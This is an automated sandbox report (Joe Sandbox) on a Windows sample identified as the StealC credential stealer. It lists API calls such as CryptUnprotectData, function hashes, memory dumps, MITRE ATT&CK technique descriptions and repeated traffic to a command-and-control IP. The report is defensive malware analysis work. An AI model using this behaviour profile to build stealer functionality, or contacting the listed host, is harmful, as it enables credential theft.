Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: b51ba7679abff4a8f1fc36b8395ea34e2e422274912686973a4d4607485878e5
Instruction ID: 88f18beb7e7df4dd12eb59a24c569ed92c4abd483bd654dd361c3f3a60a551a8
Opcode Fuzzy Hash: b51ba7679abff4a8f1fc36b8395ea34e2e422274912686973a4d4607485878e5
Instruction Fuzzy Hash: C0F090329446189BD624FBA89803FFE3FE0AF44720F1001C9F409A72D6CFE45D40CA96

Function 00C204D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

CatchIt.LIBVCRUNTIME ref: 00C205DE

Strings

RCC, xrefs: 00C20512
MOC, xrefs: 00C2050A

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Catch
String ID: MOC$RCC
API String ID: 78271584-2084237596
Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction ID: 39f09d7f22e026cf320f0139dd483a08d425797fd35cd22c6cfc009c228fdfb8
Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
Instruction Fuzzy Hash: AA416A71900219AFDF15DF98EC81AEEBBB5FF48304F2880AAF91467212D3359A90DF54

Function 00BB5190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BB8F9B

lstrcat.KERNEL32(?,00000000), ref: 00BB51CA
lstrcat.KERNEL32(?,00BC1058), ref: 00BB51E7
lstrcat.KERNEL32(?,01309688), ref: 00BB51FB
lstrcat.KERNEL32(?,00BC105C), ref: 00BB520D

Part of subcall function 00BB4B60: wsprintfA.USER32 ref: 00BB4B7C
Part of subcall function 00BB4B60: FindFirstFileA.KERNEL32(?,?), ref: 00BB4B93

Part of subcall function 00BB4B60: StrCmpCA.SHLWAPI(?,00BC0FC4), ref: 00BB4BC1
Part of subcall function 00BB4B60: StrCmpCA.SHLWAPI(?,00BC0FC8), ref: 00BB4BD7
Part of subcall function 00BB4B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00BB4DCD
Part of subcall function 00BB4B60: FindClose.KERNEL32(000000FF), ref: 00BB4DE2

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: daa440bfcaf4886cf5a86f04a6af4574e1b7bb2669ab9164bb40b844a15dbfae
Instruction ID: b03475c477ebd4204e5cf2cc5cb083c3600ae7364bb784ab8914d14e93cfc013
Opcode Fuzzy Hash: daa440bfcaf4886cf5a86f04a6af4574e1b7bb2669ab9164bb40b844a15dbfae
Instruction Fuzzy Hash: 1C21A0B6904108ABCB54FF70EC46FFD737C9755300F0045D8B69966191DEB596CC8B91

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BB9030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00BB9030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAA2B0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00BAA2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA72A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00BA72A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAA210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00BAA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BAC920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00BAC920

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00BB9BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00BA4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00BA62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00BB7690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00BB9F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00BA48D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00BB5760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00BB19F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00BB6C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00BA1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00BB6D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00BA4800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00BB5440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON